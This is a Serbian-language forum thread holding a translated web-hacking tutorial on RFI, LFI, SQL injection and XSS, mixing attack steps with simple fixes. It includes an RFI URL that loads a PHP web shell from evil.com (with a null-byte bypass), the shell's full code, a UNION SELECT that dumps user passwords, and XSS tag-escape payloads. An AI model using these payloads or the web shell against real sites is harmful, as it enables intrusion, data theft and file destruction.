Koceljeva Forum


 
PrijemČesto Postavljana PitanjaTražiRegistruj seLista članovaKorisničke grupePristupi

Delite
 

 WebHacking

Ići dole 
AutorPoruka
baltazar
Administrator
baltazar

Muški Broj poruka : 2253
Godina : 37
Lokacija : Koceljeva
Datum upisa : 01.12.2006

WebHacking Empty
PočaljiNaslov: WebHacking   WebHacking Icon_minitimeSub Jan 05, 2008 1:53 pm

--= WebHacking

by d3hydr8

preveo baltazar

-= Intro

U ovom tutorialu,mi cemo razmatrati propuste,i sta polazi lose sa programerom,i neke nacine da ih exploatisemo..

Uzivajte!!

Tutorial: [ Osnove || 1 ]

+------------------------------------------+
|
| || Pocetak ||
|
+------------------------------------------+

Sta je potrebno da znate:

=- Vulnerability : sigurnosna rupa, moze se iskoristiti kako bi se promenio nacin kako software radi/funkcionise

=- CMS's : Forumi koriste baze podataka kako bi smestili informacije kao sto su users, posts, threads, messages i tako dalje,vecinom je to MySQL server.

=- RFI [ Remote File Inclusion ] : hakeri mogu da ukljuce 'los' kod koji ce se izvrsiti na ranjivom sajtu..

=- LFI [ Local File Inclusion ] : hakeri mogu da otvore bilo koji fajl na serveru.

=- SQL Injection : Ubacivanje MySql upita kako bi se zaobisao mehanizam zastite ili dobilo vise podataka o bazi

=- XSS [ Cross Site Scripting ] : ako je trajni propust,gde je korisnikov input snimljen, korisnik moze da loguje cookies, IP, i jos mnogo stosta...

=- Exploit : script napravljen da iskoristi propust


+------------------------------------------+
|
| || Sta polazi naopako ||
|
+------------------------------------------+

Uzecemo svaki propust, i pogledacemo sta polazi u krivom smeru sa programerom, sto cini skript ranjivim...

=- RFI ::

RFI's je exploatisan izvrsavanjem 'zlonamernog' koda sa drugog sajta,na zarazeni sajt, npr. mozete da izvrsite PHP shell, i izvrsavate komande na serveru...

Ovaj propust je veoma opasan i sajt ranjiv na RFI moze biti zauzet lako...

primer koda ranjivog na RFI:


<?php

$page = $_GET['page'];

if (isset($page))
{
include($page);
}

?>




kao sto mozete videti, mi uzimamo variable stranicu, i ukljucujemo je, sad ce skript raditi divno i obavljati ono za sta je namenjen, na primer:

www.example.com/index.dmz?page=contact.dmz

ovo bi trebalo da otvori contact.dmz, ALI , sta ce haker da uradi?

www.example.com/index.dmz?page=http://www.evil.com/shell.txt?

shell kod mora biti u txt fajlu, jer ce ovako kod biti izvrsen na ranjivom sajtu

Sta se onda desava?


<?php

$page = $_GET['page'];

if (isset($page))
{
include('http://www.evil.com/shell.txt?');
}

?>




ovaj txt fajl ce biti ucitan, pa recimo da shell.txt ima sledeci kod:


<?php

$command = $_GET['cmd'];

if ($command)
{
@system($command);
}
echo "
<form method='GET'>
<input type='text' name='cmd'>
<input type='submit' name='submit' value='Go!'>
</form>";

?>




Mali textualni prozor ce se pojaviti na stranici, sa dugmetom, koje ce izvrsavati komande... haker moze da zauzme ceo sajt koristeci ovaj mali prozorcic, ako ima dovoljno privilegija, moze da uradi sledece:

rm -rf

i da izbrise vase fajlove...

neki strucnjaci misle da mogu da sprece gresku u kodu na sledeci nacin:


<?php

$page = $_GET['page'];
$page = $page . ".php";

if (isset($page))
{
include($page);
}

?>




na ovaj nacin, mozete samo da ukljucite .php fajlove, i to nije nesto narocito jer PHP skripte se izvrsavaju na serverskoj strani...

ali, to nece zaustaviti neke ljude, postoji nesto sto se naziva NullByte, to ce jednostavno reci PHP da ignorise sve posle toga... ako bi neko da exploatise taj kod uradice sledece:

www.darkmindz.com/index.dmz?page=http://www.evil.com/shell.txt?%00

kao sto mozete videti, [ %00 ] je NullByte, to ce biti ovako izvrseno:




<?php

$page = $_GET['page'];
$page = $page . ".php";

if (isset($page))
{
include('http://www.evil.com/shell.txt?'); // ignorusuci sve posle NullByte sto je u ovom slucaju .php
}

?>





Sledi pitanje kako da obezbedimo kompletno ove URL sisteme?!

mozete da koristite switch statement, i na ovaj nacin nista nece biti izvrseno:


<?php

if(isset($_REQUEST['page']))
{
switch ($_REQUEST['page']) {

case 'about':
include('about.php'); // ako je stranica about, ucitaj about.php sadrzaj...
break;

case 'contact':
include('contact.php'); // i tako dalje Smile
break;

default:
include('index.php');
}

}


?>




to je perfektan sistem, jednostavan, siguran,i radi:)

Sad to je gotovo, RFI, je slican LFI, nista nije drugacije, ali cinjenica da LFI uzima samo stranice sa servera, vecinom vremena download skripte su ranjive na LFI, jer su napravljene da citaju fajlove(); to je lose programiranje



Prelazimo na SQL injection, koje su smrtonosne kada su E-Commerce sajtovi ranjivi !!

haker ce exploatisati ranjiv kod, zaobilazeci login formu, i logovajuci se kao Admin.

ili ubacivajuci URL i tako izvrsavajuci MySQL upite, sto moze da ga dovede do citanja poverljivih informacija...

Primer ranjivog koda:


<?php

$host = "localhost";
$user = "root";
$pass = "r00t";
$db = "banks";

mysql_connect($host, $user, $pass);
mysql_select_db($db);

$id = $_GET['id'];

if (isset($id))
{
$query = mysql_query("SELECT * FROM `news` WHERE `id` = $id");
if ($query)
{
while($news = mysql_fetch_array($query))
{
echo $news['news'];
}
}
}

?>




sad, kao sto mozete videti, uzima 'id' variable, i izvrsava, bez filtera!!!

sad ako zelim da uradim sql inject, prvo cu proveriti za ranjivost.... radeci sledece:

www.example.com/page.php?id=1 OR 2

IF 2 news su tu, onda sam srecan Very Happy, a sad ide dobra stvar, gde su informacije extraktovane,koristeci UNION komandu, mogu da izaberem iz druge kolone i da ih izlistam...

tako da ce injection bit:

www.example.com/page.php?id=1 OR 2 UNION SELECT name,1,password,email FROM users

ovo bi trebalo da izlista lozinke, na stranicu. sad zaviseci od brojeva polja u news koloni, moracu da promenim broj polja u koloni news

sad znamo sta nije u redu, idemo da ga osiguramo!!


<?php

$host = "localhost";
$user = "root";
$pass = "r00t";
$db = "banks";

@mysql_connect($host, $user, $pass); // dodavajuci @ znak dovecemo do oslobadjanja greske,greske nece biti prikazane niti ce DB biti selektovan ili ce konekcija biti odbacena
@mysql_select_db($db);

$id = (Int) $_GET['id'];


if (isset($id))
{
$query = mysql_query("SELECT * FROM `news` WHERE `id` = $id");
if ($query)
{
while($news = mysql_fetch_array($query))
{
echo $news['news'];
}
}
}
?>




to je to ,ovaj kod je siguran...

Prelazimo na XSS, koji i nije toliko riskantan ukoliko nije trajan!

primeri stalnog XSS bili bi u guestbook, comments, contact forms, mailing lists, etc...

Sta hakeri mogu da urade?

pa, moze da iskoristi javascript da izmeni titl, forms, prices, hidden data, pages, actions, ...
neki CMS's i forumi, koriste cookies i stavljaju korisnikove informacije u njega, ako je taj sajt ranjiv na XSS, napadac moze dobiti administratorske privilegije tako sto ce logovati admin cookies...

Ranjiv kod bi bio:


<?php

$message = $_POST['message'];

if (isset($_POST['message']))
{

echo "Thank you, your message has been posted!";

echo "<br />";

echo $message;
}

echo "
<form method='post' name='message_box'>
<input type='text' name='message'>
<input type='submit' name='submit'>
</form>";

?>




ok, napadaci mogu da urade sledece:

postavi sledeci text kako bi testirao ranjivost :

<script>alert("xss")</script>




or

<h1>0wn3d by baltazar!</h1>




AKo se HTML izvrsi, napadac ce preci na sledeci korak, tj na logovanje stranice.. tako sto ce je redirektovati na logger..

neke metode zaobilazenja filtera, na primer, ako forma postavlja linkove, uzmimo ovo kao primer:



<?php

$message = $_POST['message'];

if (isset($_POST['message']))
{

echo "Thank you, your link has been added!";

echo "<br />";

echo "<a href='$message'>Link</a>";;
}

echo "
<form method='post' name='message_box'>
<input type='text' name='message'>
<input type='submit' name='submit'>
</form>";

?>




e sad to ne bi trebalo da izvrsi nista, ali jednostavno ce prelomiti link,zar ne?

e pa ne mislim tako,jednostavno ce te zaobici na sledeci nacin:

'> <script>alert("owned")</script>




zasto ovo zaobilazi?!

evo sta se desava,

'>


ce zaustaviti tag, i onda mozete da otvorite sve ostalo...

evo ga rezultat:

<a href=''> <script>alert("owned")</script>'>Link</a>




kao sto mozete videti,tag je zatvoren sto mi omogucava da otvorim drugi tag, u kojem je skripta. i radi Smile


+------------------------------------------+
|
| || KRAJ ||
|
+------------------------------------------+

Dakle,gotovi smo sad Smile, nadam se da ste uzivali u tutorijalu, i naucili nesto novo iz njega...

_________________
Yes, I am a criminal. My crime is that of curiosity.
My crime is that of judging people by what they say and think, not
what they look like.
I am a explorer, and this is my manifesto.
You may stop this individual, but you can't stop us all!

WebHacking Balti
Nazad na vrh Ići dole
Pogledaj profil korisnika http://koceljeva.editboard.com
sinner_01
Administrator
sinner_01

Muški Broj poruka : 1942
Godina : 39
Lokacija : Koceljeva
Datum upisa : 01.12.2006

WebHacking Empty
PočaljiNaslov: Re: WebHacking   WebHacking Icon_minitimeUto Jan 08, 2008 12:30 pm

lepo,lepo,samo tako nastavi

_________________
I've had dreams that no one else could have
I've thrown away everything that i don't need.
Those feelings i can't rid remain in may heart.


WebHacking Deadnote1

WebHacking Cmd
Nazad na vrh Ići dole
Pogledaj profil korisnika http://koceljeva.editboard.com
baltazar
Administrator
baltazar

Muški Broj poruka : 2253
Godina : 37
Lokacija : Koceljeva
Datum upisa : 01.12.2006

WebHacking Empty
PočaljiNaslov: Re: WebHacking   WebHacking Icon_minitimeSre Jan 09, 2008 1:39 pm

Thanx

_________________
Yes, I am a criminal. My crime is that of curiosity.
My crime is that of judging people by what they say and think, not
what they look like.
I am a explorer, and this is my manifesto.
You may stop this individual, but you can't stop us all!

WebHacking Balti
Nazad na vrh Ići dole
Pogledaj profil korisnika http://koceljeva.editboard.com
atila



Broj poruka : 82
Datum upisa : 05.12.2006

WebHacking Empty
PočaljiNaslov: Re: WebHacking   WebHacking Icon_minitimeČet Jan 10, 2008 9:44 am

Odlican tutorijal
Nazad na vrh Ići dole
Pogledaj profil korisnika
archer

archer

Muški Broj poruka : 297
Godina : 27
Lokacija : Kamenica
Datum upisa : 23.06.2007

WebHacking Empty
PočaljiNaslov: Re: WebHacking   WebHacking Icon_minitimeSre Jan 16, 2008 4:42 pm

Sta znaci redirektovati na logger?
Nazad na vrh Ići dole
Pogledaj profil korisnika
baltazar
Administrator
baltazar

Muški Broj poruka : 2253
Godina : 37
Lokacija : Koceljeva
Datum upisa : 01.12.2006

WebHacking Empty
PočaljiNaslov: Re: WebHacking   WebHacking Icon_minitimeSre Jan 16, 2008 7:34 pm

Verovatno phishing

_________________
Yes, I am a criminal. My crime is that of curiosity.
My crime is that of judging people by what they say and think, not
what they look like.
I am a explorer, and this is my manifesto.
You may stop this individual, but you can't stop us all!

WebHacking Balti
Nazad na vrh Ići dole
Pogledaj profil korisnika http://koceljeva.editboard.com
Sponsored content




WebHacking Empty
PočaljiNaslov: Re: WebHacking   WebHacking Icon_minitime

Nazad na vrh Ići dole
 
WebHacking
Nazad na vrh 
Strana 1 od 1

Dozvole ovog foruma:Ne možete odgovarati na teme u ovom forumu
Koceljeva Forum :: Hi-tech :: Tutorijali-
Skoči na: